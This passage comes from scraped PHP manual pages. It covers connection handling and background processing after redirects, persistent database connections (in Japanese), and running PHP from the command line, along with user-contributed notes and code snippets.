    echo 'Connection both aborted and timed out';
robert at go dot rw 14-Apr-2016 01:54
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
/*
 * Anti-Pattern
 */

# Connect
mysql_connect('localhost', 'username', 'password') or die('Could not connect: ' . mysql_error());

# Choose a database
mysql_select_db('someDatabase') or die('Could not select database');

# Perform database query
$query = "SELECT * from someTable";
$result = mysql_query($query) or die('Query failed: ' . mysql_error());

# Filter through rows and echo desired information
while ($row = mysql_fetch_object($result)) {
    echo $row->name;
}
mheumann at comciencia dot cl 29-Jul-2013 02:38
I had a lot of problems getting a redirect to work, after which my script was intended to keep working in the background. The redirect to another page of my site simply would only work once the original page had finished processing.

I finally found out what was wrong:
The session only gets closed by PHP at the very end of the script, and since access to the session data is locked to prevent more than one page writing to it simultaneously, the new page cannot load until the original processing has finished.

Solution:
Close the session manually when redirecting using session_write_close():

<?php
ignore_user_abort(true);
set_time_limit(0);

$strURL = "PUT YOUR REDIRCT HERE";
header("Location: $strURL", true);
header("Connection: close", true);
header("Content-Encoding: none\r\n");
header("Content-Length: 0", true);

flush();
ob_flush();

session_write_close();

// Continue processing...

sleep(100);
exit;
?>

But careful:
Make sure that your script doesn't write to the session after session_write_close(), i.e. in your background processing code.  That won't work.  Also avoid reading, remember, the next script may already have modified the data.

So try to read out the data you need prior to redirecting.
Ilya Penyaev 27-Sep-2012 06:25
I was quite stuck when trying to make my script redirect the client to another URL and then continue processing. The reason was php-fpm. All possible buffer flushes did not work, unless I called fastcgi_finish_request();

For example:

<?php
    // redirecting...
    ignore_user_abort(true);
    header("Location: ".$redirectUrl, true);
    header("Connection: close", true);
    header("Content-Length: 0", true);
    ob_end_flush();
    flush();
    fastcgi_finish_request(); // important when using php-fpm!

    sleep (5); // User won't feel this sleep because he'll already be away

    // do some work after user has been redirected
?>
Anonymous 29-Dec-2011 05:52
This simple function outputs a string and closes the connection. It considers compression using "ob_gzhandler"

It took me a little while to put this all together, mostly because setting the encoding to none, as some people noted here, didn't work.

<?php
function outputStringAndCloseConnection2($stringToOutput)
{
    set_time_limit(0);
    ignore_user_abort(true);
    // buffer all upcoming output - make sure we care about compression:
    if(!ob_start("ob_gzhandler"))
        ob_start();
    echo $stringToOutput;
    // get the size of the output
    $size = ob_get_length();
    // send headers to tell the browser to close the connection
    header("Content-Length: $size");
    header('Connection: close');
    // flush all output
    ob_end_flush();
    ob_flush();
    flush();
    // close current session
    if (session_id()) session_write_close();
}
?>
a1n2ton at gmail dot com 12-Dec-2009 01:09
PHP changes directory on connection abort so code like this will not do what you want:

<?php
function abort()
{
     if(connection_aborted())
           unlink('file.ini');
}
register_shutdown_function('abort');
?>

actually it will delete file in apaches's root dir so if you want to unlink file in your script's dir on abort or write to it you have to store directory
<?php
function abort()
{
     global $dsd;
     if(connection_aborted())
           unlink($dsd.'/file.ini');
}
register_shutdown_function('abort');
$dsd=getcwd();
?>
tom lgold2003 at gmail dot com 09-Sep-2009 11:43
hey, thanks to arr1, and it is very useful for me, when I need to return to the user fast and then do something else.

When using the codes, it nearly drive me mad and I found another thing that may affect the codes:

Content-Encoding: gzip

This is because the zlib is on and the content will be compressed. But this will not output the buffer until all output is over.

So, it may need to send the header to prevent this problem.

now, the code becomes:

<?php
ob_end_clean();
header("Connection: close\r\n");
header("Content-Encoding: none\r\n");
ignore_user_abort(true); // optional
ob_start();
echo ('Text user will see');
$size = ob_get_length();
header("Content-Length: $size");
ob_end_flush();     // Strange behaviour, will not work
flush();            // Unless both are called !
ob_end_clean();

//do processing here
sleep(5);

echo('Text user will never see');
//do some processing
?>
Jean Charles MAMMANA 01-Apr-2008 01:25
connection_status() return ABORTED state ONLY if the client disconnects gracefully (with STOP button). In this case the browser send the RST TCP packet that notify PHP the connection is closed.
But.... If the connection is stopped by networs troubles (wifi link down by exemple) the script doesn't know that the client is disconnected :(

I've tried to use fopen("php://output") with stream_select() on writting to detect write locks (due to full buffer) but php give me this error : "cannot represent a stream of type Output as a select()able descriptor"

So I don't know how to detect correctly network trouble connection...
Anonymous 13-Nov-2007 02:06
in regards of posting from:
arr1 at hotmail dot co dot uk

if you use/write sessions you need to do this before:
(otherwise it does not work)

session_write_close();

and if wanted:

ignore_user_abort(TRUE);
instead of ignore_user_abort();
arr1 at hotmail dot co dot uk 14-Nov-2006 11:51
Closing the users browser connection whilst keeping your php script running has been an issue since 4.1, when the behaviour of register_shutdown_function() was modified so that it would not automatically close the users connection.

sts at mail dot xubion dot hu
Posted the original solution:

<?php
header("Connection: close");
ob_start();
phpinfo();
$size=ob_get_length();
header("Content-Length: $size");
ob_end_flush();
flush();
sleep(13);
error_log("do something in the background");
?>

Which works fine until you substitute phpinfo() for
echo ('text I want user to see'); in which case the headers are never sent!

The solution is to explicitly turn off output buffering and clear the buffer prior to sending your header information.

example:

<?php
 ob_end_clean();
 header("Connection: close");
 ignore_user_abort(); // optional
 ob_start();
 echo ('Text the user will see');
 $size = ob_get_length();
 header("Content-Length: $size");
 ob_end_flush(); // Strange behaviour, will not work
 flush();            // Unless both are called !
 // Do processing here
 sleep(30);
 echo('Text user will never see');
?>
Just spent 3 hours trying to figure this one out, hope it helps someone :)

Tested in:
IE 7.5730.11
Mozilla Firefox 1.81
Lee 18-Sep-2004 03:16
The point mentioned in the last comment isn't always the case.

If a user's connection is lost half way through an order processing script is confirming a user's credit card/adding them to a DB, etc (due to their ISP going down, network trouble... whatever) and your script tries to send back output (such as, "pre-processing order" or any other type of confirmation), then your script will abort -- and this could cause problems for your process.

I have an order script that adds data to a InnoDB database (through MySQL) and only commits the transactions upon successful completion. Without ignore_user_abort(), I have had times when a user's connection dropped during the processing phase... and their card was charged, but they weren't added to my local DB.

So, it's always safe to ignore any aborts if you are processing sensitive transactions that should go ahead, whether your user is "watching" on the other end or not.
pulstar at mail dot com 06-Aug-2003 11:32
These functions are very useful for example if you need to control when a visitor in your website place an order and you need to check if he/she didn't clicked the submit button twice or cancelled the submit just after have clicked the submit button.
If your visitor click the stop button just after have submitted it, your script may stop in the middle of the process of registering the products and do not finish the list, generating inconsistency in your database.
With the ignore_user_abort() function you can make your script finish everything fine and after you can check with register_shutdown_function() and connection_aborted() if the visitor cancelled the submission or lost his/her connection. If he/she did, you can set the order as not confirmed and when the visitor came back, you can present the old order again.
To prevent a double click of the submit button, you can disable it with javascript or in your script you can set a flag for that order, which will be recorded into the database. Before accept a new submission, the script will check if the same order was not placed before and reject it. This will work fine, as the script have finished the job before.
Note that if you use ob_start("callback_function") in the begin of your script, you can specify a callback function that will act like the shutdown function when our script ends and also will let you to work on the generated page before send it to the visitor.


持続的データベース接続

持続的接続は、スクリプトの実行終了時にも閉じられないリンクです。 持続的接続が要求された時、PHPは(前もってオープンされたままになって いる)同じ持続的接続が既にオープンされていないかどうかを確認します。 そして、存在する場合には、それを使用します。存在しない場合には、そ のリンクを作成します。'同じ'接続とは、同じホスト、同じユーザー名、 同じパスワード(利用可能な場合)でオープンされた接続のことを意味しま す。

Webサーバーの動作及び負荷の分散に関して熟知していない人は、持続的接 続において何が行われないかに関してミスを犯す可能性があります。特に、 持続的接続は、同じリンクで'ユーザーセッション'をオープンする機能 やトランザクションを効率的に確立する機能やその他のあらゆる機能を提 供しません。つまり、言いたいことを極めて簡単に述べると、持続的接続 は非持続的接続で使用できない いかなる 機能も提 供しません。

なぜ?

これは、Webサーバーの動作により行われるべきものです。Webページを生 成するためにPHPを利用するWebサーバーには、3種類の方法があります。

最初は、CGI "ラッパー"としてPHPを使用する方法です。このように実行し た場合、PHPインタプリタのインスタンスは、Webサーバーに(PHPページに 関する)ページがリクエストされる度に生成され、破棄されます。リクエス ト毎に破棄されるために、(SQLデータベースサーバーへのリンクのような) 必要な全てのリソースは破棄される際にクローズされます。この場合、持 続的接続を使用することから得るものは何もありません。持続的接続は持 続しないのです。

2番目は、最も一般的ですが、PHPをマルチプロセスWebサーバー(現在は Apacheのみが含まれます)のモジュールとして実行する方法です。マルチプ ロセスサーバーは、通常、実際にWebページを送信する複数のプロセス(子) を管理するプロセス(親)を有しています。リクエストがクライアントから 来ると、親プロセスは、他のクライアントにすでに送信を行っていないク ライアントの一つに渡します。このため、同じクライアントが2番目のリク エストをサーバーに送信した際に最初のではなく他の子プロセスにより送 信が行われる可能性があります。 持続的接続がオープンされているとき、SQL サービスにリクエストを行う それぞれのページは SQL サーバーへの確立された接続を再利用することが できます。

最後の方法は、PHPをマルチスレッドWebサーバーのプラグインとして使用する 方法です。現在、PHP は、WSAPI, NSAPI を(Windows上で)サポー トしており、Netscape FastTrack、Microsoftの Internet Information Server (IIS)、O'Reillyの WebSite Proのようなマルチスレッド型サーバー のプラグインとしてPHPを使用することが可能です。この場合の動作は前記 のマルチプロセス型モデルと同様です。

持続的接続が機能を全く付加しないとしたら、優れている点はなんでしょう?

答えはかなり簡単です。効率です。持続的接続は、SQLサーバーへ接続する オーバーヘッドが大きい場合には有効です。このオーバーヘッドが実際に 大きいがどうかは様々な要因に依存します。例えば、データベースの種類、 Webサーバーが動作するのと同じコンピューターで動作しているか、SQLサー バーを動作させているマシンの負荷、等となります。肝心なのは、接続の オーバーヘッドが高い場合、持続的接続は著しいということです。持続的 接続は、SQLサーバーへの接続を要求するページをリクエスト毎に処理する 代わりに子プロセスが動作中の間一回しかサーバーへの接続を行わないよ うにします。このことは、持続的接続をオープンしたプロセス毎にサーバー への持続的接続をオープンするということになります。例えば、20の異なっ た子プロセスがSQLサーバーへの持続的接続を行うスクリプトを実行した場 合、各子プロセス毎にSQLサーバーへの20の異なった接続が行われます。

しかし、気をつけなければならないことが一つあります。それはデータ ベースへの接続数を制限して使用している場合に、持続的な子プロセスの 接続数がその数を超えると問題が発生し得ることです。もしデータベース の同時接続数の制限が16だとして、サーバーに多くのアクセスがあったため 17個の子プロセスが接続しようとするとそのうちの一つは接続に失敗しま す。もしスクリプトにコネクションをシャットダウンしないようなバグ( 例えば無限ループ)があると16程度の同時接続しか許容しないデータベース はすぐにダメになってしまいます。使用しているデータベースが、中断さ れた、もしくは使用されていないコネクションをどのように扱うかを確認 してみてください。

警告

持続的接続を使用する際にはまだいくつか心に留めておく必要がある注意 点があります。一つは持続的接続でテーブルをロックする場合にスクリプト が何らかの理由でロックを外し損ねると、それ以降に実行されるスクリプト がその接続を使用すると永久にブロックしつづけてしまい、ウェブサーバーか データベースサーバーを再起動しなければならなくなるということです。もう 一つはトランザクションを使用している場合に、トランザクションブロック が終了する前にスクリプトが終了してしまうと、そのブロックは次に同じ接 続を使用して実行されるスクリプトに引き継がれる、ということです。 どちらの場合でも register_shutdown_function()を使用してテーブルの ロックを解除したりトランザクションをロールバックする簡単なクリーン アップ関数を登録することができます。しかしそれよりも良い方法は、テー ブルロックやトランザクションを使用するスクリプトでは持続的接続を使用 せず、問題を完全に避けて通ることです(他の箇所で使用する分には問題あ りません)。

重要なことをまとめます。持続的接続は、標準的な接続に1対1の割りつけ を行うように設計されています。このことは、常に 持続的接続を非持続的接続で置きかえ、かつ動作を変更しないということ ができることを意味します。持続的接続は、スクリプトの効率を変える かもしれません(おそらく変えます)が、動作は変更しません!

fbsql_pconnect(),
ibase_pconnect(), ifx_pconnect(),
ingres_pconnect(),
msql_pconnect(), mssql_pconnect(),
mysql_pconnect(), ociplogon(),
odbc_pconnect(), oci_pconnect(),
pfsockopen(), pg_pconnect(),
sybase_pconnect()も参照してください。

User Contributed Notes

pacerier at gmail dot com 24-Jun-2015 09:57
Did anyone else notice that the last paragraph contradicts everything above it?

( cached page: https://archive.is/ZAOwy )
php at alfadog dot net 22-Jan-2014 04:07
One additional not regarding odbc_pconnect  and possibly other variations of pconnect:

If the connection encounters an error (bad SQL, incorrect request, etc), that error will return with  be present in odbc_errormsg for every subsequent action on that connection, even if subsequent actions don't cause another error.

For example:

A script connects with odbc_pconnect.
The connection is created on it's first use.
The script calls a query "Select * FROM Table1".
Table1 doesn't exist and odbc_errormsg contains that error.

Later(days, perhaps), a different script is called using the same parameters to odbc_pconnect.
The connection already exists, to it is reused.
The script calls a query "Select * FROM Table0".
The query runs fine, but odbc_errormsg still returns the error about Table1 not existing.

I'm not seeing a way to clear that error using odbc_ functions, so keep your eyes open for this gotcha or use odbc_connect instead.
jorgeleon85 at gmail dot com 18-Feb-2011 02:07
I've been looking everywhere for a benchmark or at least comparison of the overhead used by oci_connect and oci_pconnect.
Just saying "oci_connect is slower because the overhead..." is not enough for me. For than I wrote a couple scripts to compare perfomance.
At the end I found out an average of 34% more time using a oci_connect than oci_pconnect, using a query of 50 rows and 100 columns.
Obviously this wasn't a real benchmark however it gives a simple idea of the efficiency of each function.
ambrish at php dot net 20-Sep-2010 01:37
In IBM_DB2 extension v1.9.0 or later performs a transaction rollback on persistent connections at the end of a request, thus ending the transaction. This prevents the transaction block from carrying over to the next request which uses that connection if script execution ends before the transaction block does.
Tom 28-Dec-2009 05:37
There's a third case for PHP: run on a fastCGI interface. In this case, PHP processes are NOT destroyed after each request, and so persistent connections do persist. Set PHP_FCGI_CHILDREN << mysql's max_connections and you'll be fine.
ynzhang from lakeheadu canada 09-Mar-2009 10:49
It seems that using pg_pconnect() will not persist the temporary views/tables. So if you are trying to create temporary views/tables with the query results and then access them with the next script of the same session, you are out of luck. Those temporary view/tables are gone after each PHP script ended. One way to get around this problem is to create real view/table with session ID as part of the name and record the name&creation time in a common table. Have a garbage collection script to drop the view/table who's session is expired.
christopher dot jones at oracle dot com 26-Jun-2007 10:46
For the oci8 extension it is not true that " [...] when using transactions, a transaction block will also carry over to the next script which uses that connection if script execution ends before the transaction block does.".  The oci8 extension does a rollback at the end scripts using persistent connections, thus ending the transaction.  The rollback also releases locks. However any ALTER SESSION command (e.g. changing the date format) on a persistent connection will be retained over to the next script.
andy at paradigm-reborn dot com 20-Feb-2007 08:13
To those using MySQL and finding a lot of leftover sleeping processes, take a look at MySQL's wait_timeout directive. By default it is set to 8 hours, but almost any decent production server will have been lowered to the 60 second range. Even on my testing server, I was having problems with too many connections from leftover persistent connections.
whatspaz at g NO dot SPAM mail dot c o m 26-Nov-2006 03:02
in response to web at nick, have you tried FLUSH PRIVILEGES. this should reload those privileges.
RQuadling at GMail dot com 06-Mar-2006 03:43
If you have multiple databases on the same server AND you are using persistent connections, you MUST prefix all the table names with the specific database name.

Changing the database using the xxx_select_db functions alters the database for the connection for all users who are sharing that connection (assuming PHP is running shared and not CGI/CLI).

If you have 2 databases (live and archive) and your script is talking to both, you cannot use 2 persistent connections and change the database for each one.

Internally, persistent connections are used even if you do not specify that you want to use persistent connections. This is why new_link was added to mysql_connect/mssql_connect (PHPV4.2.0+).
fabio 12-Jan-2006 03:54
You can in fact provide a port for the connection, take a look at http://de2.php.net/manual/en/function.mysql-pconnect.php#AEN101879

Just use "hostname:port" for the server address.
aaryal at foresightint dot com 15-Jan-2004 03:21
this one bit quite a bit of chunk out of my you-know-what. seems like if you're running multiple database servers on the same host (for eg. MySQL on a number of ports) you can't use pconnect since the port number isn't part of the key for database connections. especially if you have the same username and password to connect to all the database servers running on different ports. but then it might be php-MySQL specific. you might get a connection for an entirely different port than the one you asked for.
jean_christian at myrealbox dot com 15-Aug-2002 03:13
If anyone ever wonders why the number of idle db process (open connections) seems to grow even though you are using persistent connections, here's why:

"You are probably using a multi-process web server such as Apache. Since
database connections cannot be shared among different processes a new
one is created if the request happen to come to a different web server
child process."


PHP をコマンドラインから使用する

目次

  • はじめに
  • 他の SAPI との違い
  • オプション
  • Usage
  • I/O ストリーム
  • 対話シェル
  • ビルトインウェブサーバー
  • INI 設定

User Contributed Notes

sam marshall 12-Feb-2019 04:13
When using the -R flag, the name of the variable containing the content of the current line (not including the LF) is $argn.

For example you can do this code:

cat file.txt | php -R 'echo $argn . "\n";'

This will just output each line of the input file without doing anything to it.
apmuthu at usa dot net 26-Nov-2017 05:17
Adding a pause() function to PHP waiting for any user input returning it:

<?php
function pause() {
    $handle = fopen ("php://stdin","r");
    do { $line = fgets($handle); } while ($line == '');
    fclose($handle);
    return $line;
}
?>
ohcc at 163 dot com 17-Sep-2016 06:26
use " instead of ' on windows when using the cli version with -r

php -r "echo 1"
-- correct

php -r 'echo 1'
  PHP Parse error:  syntax error, unexpected ''echo' (T_ENCAPSED_AND_WHITESPACE), expecting end of file in Command line code on line 1
frankNospamwanted at. toppoint dot. de 30-Oct-2014 03:37
Parsing commandline argument GET String without changing the PHP script (linux shell):
URL: index.php?a=1&b=2
Result: output.html

echo "" | php -R 'include("index.php");' -B 'parse_str($argv[1], $_GET);' 'a=1&b=2' >output.html

(no need to change php.ini)

You can put this
  echo "" | php -R 'include("'$1'");' -B 'parse_str($argv[1], $_GET);' "$2"
in a bash script "php_get" to use it like this:
  php_get index.php 'a=1&b=2' >output.html
or directed to text browser...
  php_get index.php 'a=1&b=2' |w3m -T text/html
PSIKYO at mail dot dlut dot edu dot cn 14-Sep-2013 03:19
If you edit a php file in windows, upload and run it on linux with command line method. You may encounter a running problem probably like that:

[root@ItsCloud02 wsdl]# ./lnxcli.php
Extension './lnxcli.php' not present.

Or you may encounter some other strange problem.
Care the enter key. In windows environment, enter key generate two binary characters '0D0A'. But in Linux, enter key generate just only a 'OA'.
I wish it can help someone if you are using windows to code php and run it as a command line program on linux.
sep16 at psu dot edu 01-Jun-2012 01:17
You can easily parse command line arguments into the $_GET variable by using the parse_str() function.

<?php

parse_str(implode('&', array_slice($argv, 1)), $_GET);

?>

It behaves exactly like you'd expect with cgi-php.

$ php -f somefile.php a=1 b[]=2 b[]=3

This will set $_GET['a'] to '1' and $_GET['b'] to array('2', '3').

Even better, instead of putting that line in every file, take advantage of PHP's auto_prepend_file directive.  Put that line in its own file and set the auto_prepend_file directive in your cli-specific php.ini like so:

auto_prepend_file = "/etc/php/cli-php5.3/local.prepend.php"

It will be automatically prepended to any PHP file run from the command line.
Kodeart 29-Aug-2011 02:03
Check directly without calling functions:
<?php
if (PHP_SAPI === 'cli')
{
   // ...
}
?>

You can define a constant to use it elsewhere
<?php
define('ISCLI', PHP_SAPI === 'cli');
?>
Anonymous 28-Jun-2010 07:41
Using CLI (on WIN at least), some INI paths are relative to the current working directory.  For example, if your error_log = "php_errors.log", then php_errors.log will be created (or appended to if already exists) in whatever directory you happen to be in at the moment if you have write access there.  Instead of having random error logs all over the place because of this behavior, you may want to set error_log to a full path, perhaps to the php.exe directory.
notreallyanaddress at somerandomaddr dot com 02-Dec-2009 05:34
If you want to be interactive with the user and accept user input, all you need to do is read from stdin.

<?php
echo "Are you sure you want to do this?  Type 'yes' to continue: ";
$handle = fopen ("php://stdin","r");
$line = fgets($handle);
if(trim($line) != 'yes'){
    echo "ABORTING!\n";
    exit;
}
echo "\n";
echo "Thank you, continuing...\n";
?>
thomas dot harding at laposte dot net 14-Jun-2008 03:08
Parsing command line: optimization is evil!

One thing all contributors on this page forgotten is that you can suround an argv with single or double quotes. So the join coupled together with the preg_match_all will always break that :)

Here is a proposal:

#!/usr/bin/php
<?php
print_r(arguments($argv));

function arguments ( $args )
{
  array_shift( $args );
  $endofoptions = false;

  $ret = array
    (
    'commands' => array(),
    'options' => array(),
    'flags'    => array(),
    'arguments' => array(),
    );

  while ( $arg = array_shift($args) )
  {

    // if we have reached end of options,
    //we cast all remaining argvs as arguments
    if ($endofoptions)
    {
      $ret['arguments'][] = $arg;
      continue;
    }

    // Is it a command? (prefixed with --)
    if ( substr( $arg, 0, 2 ) === '--' )
    {

      // is it the end of options flag?
      if (!isset ($arg[3]))
      {
        $endofoptions = true;; // end of options;
        continue;
      }

      $value = "";
      $com   = substr( $arg, 2 );

      // is it the syntax '--option=argument'?
      if (strpos($com,'='))
        list($com,$value) = split("=",$com,2);

      // is the option not followed by another option but by arguments
      elseif (strpos($args[0],'-') !== 0)
      {
        while (strpos($args[0],'-') !== 0)
          $value .= array_shift($args).' ';
        $value = rtrim($value,' ');
      }

      $ret['options'][$com] = !empty($value) ? $value : true;
      continue;

    }

    // Is it a flag or a serial of flags? (prefixed with -)
    if ( substr( $arg, 0, 1 ) === '-' )
    {
      for ($i = 1; isset($arg[$i]) ; $i++)
        $ret['flags'][] = $arg[$i];
      continue;
    }

    // finally, it is not option, nor flag, nor argument
    $ret['commands'][] = $arg;
    continue;
  }

  if (!count($ret['options']) && !count($ret['flags']))
  {
    $ret['arguments'] = array_merge($ret['commands'], $ret['arguments']);
    $ret['commands'] = array();
  }
return $ret;
}

exit (0)

/* vim: set expandtab tabstop=2 shiftwidth=2: */
?>
james_s2010 at NOSPAM dot hotmail dot com 22-Oct-2007 02:11
I was looking for a way to interactively get a single character response from user. Using STDIN with fread, fgets and such will only work after pressing enter. So I came up with this instead:

#!/usr/bin/php -q
<?php
function inKey($vals) {
    $inKey = "";
    While(!in_array($inKey,$vals)) {
        $inKey = trim(`read -s -n1 valu;echo \$valu`);
    }
    return $inKey;
}
function echoAT($Row,$Col,$prompt="") {
    // Display prompt at specific screen coords
    echo "\033[".$Row.";".$Col."H".$prompt;
}
    // Display prompt at position 10,10
    echoAT(10,10,"Opt : ");

    // Define acceptable responses
    $options = array("1","2","3","4","X");

    // Get user response
    $key = inKey($options);

    // Display user response & exit
    echoAT(12,10,"Pressed : $key\n");
?>

Hope this helps someone.
losbrutos at free dot fr 27-Sep-2007 05:54
an another "another variant" :

<?php
function arguments($argv)
{
  $_ARG = array();
  foreach ($argv as $arg)
  {
    if (preg_match('#^-{1,2}([a-zA-Z0-9]*)=?(.*)$#', $arg, $matches))
    {
      $key = $matches[1];
      switch ($matches[2])
      {
        case '':
        case 'true':
          $arg = true;
          break;
        case 'false':
          $arg = false;
          break;
        default:
          $arg = $matches[2];
      }
      $_ARG[$key] = $arg;
    }
    else
    {
      $_ARG['input'][] = $arg;
    }
  }
  return $_ARG;
}
?>

$php myscript.php arg1 -arg2=val2 --arg3=arg3 -arg4 --arg5 -arg6=false

Array
(
    [input] => Array
        (
            [0] => myscript.php
            [1] => arg1
        )

    [arg2] => val2
    [arg3] => arg3
    [arg4] => true
    [arg5] => true
    [arg5] => false
)
lucas dot vasconcelos at gmail dot com 22-Jul-2007 11:04
Just another variant of previous script that group arguments doesn't starts with '-' or '--'

<?php
function arguments($argv) {
    $_ARG = array();
    foreach ($argv as $arg) {
      if (ereg('--([^=]+)=(.*)',$arg,$reg)) {
        $_ARG[$reg[1]] = $reg[2];
      } elseif(ereg('^-([a-zA-Z0-9])',$arg,$reg)) {
            $_ARG[$reg[1]] = 'true';
      } else {
            $_ARG['input'][]=$arg;
      }
    }
  return $_ARG;
}

print_r(arguments($argv));
?>

$ php myscript.php --user=nobody /etc/apache2/*
Array
(
    [input] => Array
        (
            [0] => myscript.php
            [1] => /etc/apache2/apache2.conf
            [2] => /etc/apache2/conf.d
            [3] => /etc/apache2/envvars
            [4] => /etc/apache2/httpd.conf
            [5] => /etc/apache2/mods-available
            [6] => /etc/apache2/mods-enabled
            [7] => /etc/apache2/ports.conf
            [8] => /etc/apache2/sites-available
            [9] => /etc/apache2/sites-enabled
        )

    [user] => nobody
)
bluej100@gmail 25-Jun-2007 11:02
In 5.1.2 (and others, I assume), the -f form silently drops the first argument after the script name from $_SERVER['argv']. I'd suggest avoiding it unless you need it for a special case.
eric dot brison at anakeen dot com 04-Jun-2007 05:16
Just a variant of previous script to accept arguments with '=' also
<?php
function arguments($argv) {
    $_ARG = array();
    foreach ($argv as $arg) {
      if (ereg('--([^=]+)=(.*)',$arg,$reg)) {
        $_ARG[$reg[1]] = $reg[2];
      } elseif(ereg('-([a-zA-Z0-9])',$arg,$reg)) {
            $_ARG[$reg[1]] = 'true';
        }

    }
  return $_ARG;
}
?>
$ php myscript.php --user=nobody --password=secret -p --access="host=127.0.0.1 port=456"
Array
(
    [user] => nobody
    [password] => secret
    [p] => true
    [access] => host=127.0.0.1 port=456
)
rob 23-Mar-2007 11:48
i use emacs in c-mode for editing.  in 4.3, starting a cli script like so:

#!/usr/bin/php -q /* -*- c -*- */
<?php

told emacs to drop into c-mode automatically when i loaded the file for editing.  the '-q' flag didn't actually do anything (in the older cgi versions, it suppressed html output when the script was run) but it caused the commented mode line to be ignored by php.

in 5.2, '-q' has apparently been deprecated.  replace it with '--' to achieve the 4.3 invocation-with-emacs-mode-line behavior:

#!/usr/bin/php -- /* -*- c -*- */
<?php

don't go back to your 4.3 system and replace '-q' with '--'; it seems to cause php to hang waiting on STDIN...
djcassis at gmail 09-Mar-2007 07:14
To display colored text when it is actually supported :
<?php
echo "\033[31m".$myvar; // red foreground
echo "\033[41m".$myvar; // red background
?>

To reset these settings :
<?php
echo "\033[0m";
?>

More fun :
<?php
echo "\033[5;30m;\033[48mWARNING !"; // black blinking text over red background
?>

More info here : http://www.tldp.org/HOWTO/Bash-Prompt-HOWTO/x329.html
goalain eat gmail dont com 14-Nov-2006 12:57
If your php script doesn't run with shebang (#!/usr/bin/php),
and it issues the beautifull and informative error message:
"Command not found."  just dos2unix yourscript.php
et voila.

If you still get the "Command not found."
Just try to run it as ./myscript.php , with the "./"
if it works - it means your current directory is not in the executable search path.

If your php script doesn't run with shebang (#/usr/bin/php),
and it issues the beautifull and informative message:
"Invalid null command." it's probably because the "!" is missing in the the shebang line (like what's above) or something else in that area.

\Alon
stromdotcom at hotmail dot com 21-Feb-2006 10:27
Spawning php-win.exe as a child process to handle scripting in Windows applications has a few quirks (all having to do with pipes between Windows apps and console apps).

To do this in C++:

// We will run php.exe as a child process after creating
// two pipes and attaching them to stdin and stdout
// of the child process
// Define sa struct such that child inherits our handles

SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES) };
sa.bInheritHandle = TRUE;
sa.lpSecurityDescriptor = NULL;

// Create the handles for our two pipes (two handles per pipe, one for each end)
// We will have one pipe for stdin, and one for stdout, each with a READ and WRITE end
HANDLE hStdoutRd, hStdoutWr, hStdinRd, hStdinWr;

// Now create the pipes, and make them inheritable
CreatePipe (&hStdoutRd, &hStdoutWr, &sa, 0))
SetHandleInformation(hStdoutRd, HANDLE_FLAG_INHERIT, 0);
CreatePipe (&hStdinRd, &hStdinWr, &sa, 0)
SetHandleInformation(hStdinWr, HANDLE_FLAG_INHERIT, 0);

// Now we have two pipes, we can create the process
// First, fill out the usage structs
STARTUPINFO si = { sizeof(STARTUPINFO) };
PROCESS_INFORMATION pi;
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdOutput = hStdoutWr;
si.hStdInput  = hStdinRd;

// And finally, create the process
CreateProcess (NULL, "c:\\php\\php-win.exe", NULL, NULL, TRUE, NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi);

// Close the handles we aren't using
CloseHandle(hStdoutWr);
CloseHandle(hStdinRd);

// Now that we have the process running, we can start pushing PHP at it
WriteFile(hStdinWr, "<?php echo 'test'; ?>", 9, &dwWritten, NULL);

// When we're done writing to stdin, we close that pipe
CloseHandle(hStdinWr);

// Reading from stdout is only slightly more complicated
int i;

std::string processed("");
char buf[128];

while ( (ReadFile(hStdoutRd, buf, 128, &dwRead, NULL) && (dwRead != 0)) ) {
    for (i = 0; i < dwRead; i++)
        processed += buf[i];
}

// Done reading, so close this handle too
CloseHandle(hStdoutRd);

A full implementation (implemented as a C++ class) is available at http://www.stromcode.com
drewish at katherinehouse dot com 25-Sep-2005 12:08
When you're writing one line php scripts remember that 'php://stdin' is your friend. Here's a simple program I use to format PHP code for inclusion on my blog:

UNIX:
  cat test.php | php -r "print htmlentities(file_get_contents('php://stdin'));"

DOS/Windows:
  type test.php | php -r "print htmlentities(file_get_contents('php://stdin'));"
OverFlow636 at gmail dot com 19-Sep-2005 12:27
I needed this, you proly wont tho.
puts the exicution args into $_GET
<?php
if ($argv) {
    foreach ($argv as $k=>$v)
    {
        if ($k==0) continue;
        $it = explode("=",$argv[$i]);
        if (isset($it[1])) $_GET[$it[0]] = $it[1];
    }
}
?>
docey 14-Jul-2005 05:44
dunno if this is on linux the same but on windows evertime
you send somthing to the console screen php is waiting for
the console to return. therefor if you send a lot of small
short amounts of text, the console is starting to be using
more cpu-cycles then php and thus slowing the script.

take a look at this sheme:
cpu-cycle:1 ->php: print("a");
cpu-cycle:2 ->cmd: output("a");
cpu-cycle:3 ->php: print("b");
cpu-cycle:4 ->cmd: output("b");
cpu-cycle:5 ->php: print("c");
cpu-cycle:6 ->cmd: output("c");
cpu-cylce:7 ->php: print("d");
cpu-cycle:8 ->cmd: output("d");
cpu-cylce:9 ->php: print("e");
cpu-cycle:0 ->cmd: output("e");

on the screen just appears "abcde". but if you write
your script this way it will be far more faster:
cpu-cycle:1 ->php: ob_start();
cpu-cycle:2 ->php: print("abc");
cpu-cycle:3 ->php: print("de");
cpu-cycle:4 ->php: $data = ob_get_contents();
cpu-cycle:5 ->php: ob_end_clean();
cpu-cycle:6 ->php: print($data);
cpu-cycle:7 ->cmd: output("abcde");

now this is just a small example but if you are writing an
app that is outputting a lot to the console, i.e. a text
based screen with frequent updates, then its much better
to first cach all output, and output is as one big chunk of
text instead of one char a the time.

ouput buffering is ideal for this. in my script i outputted
almost 4000chars of info and just by caching it first, it
speeded up by almost 400% and dropped cpu-usage.

because what is being displayed doesn't matter, be it 2
chars or 40.0000 chars, just the call to output takes a
great deal of time. remeber that.

maybe someone can test if this is the same on unix-based
systems. it seems that the STDOUT stream just waits for
the console to report ready, before continueing execution.
roberto dot dimas at gmail dot com 26-May-2005 01:52
One of the things I like about perl and vbscripts, is the fact that I can name a file e.g. 'test.pl' and just have to type 'test, without the .pl extension' on the windows command line and the command processor knows that it is a perl file and executes it using the perl command interpreter.

I did the same with the file extension .php3 (I will use php3 exclusivelly for command line php scripts, I'm doing this because my text editor VIM 6.3 already has the correct syntax highlighting for .php3 files ).

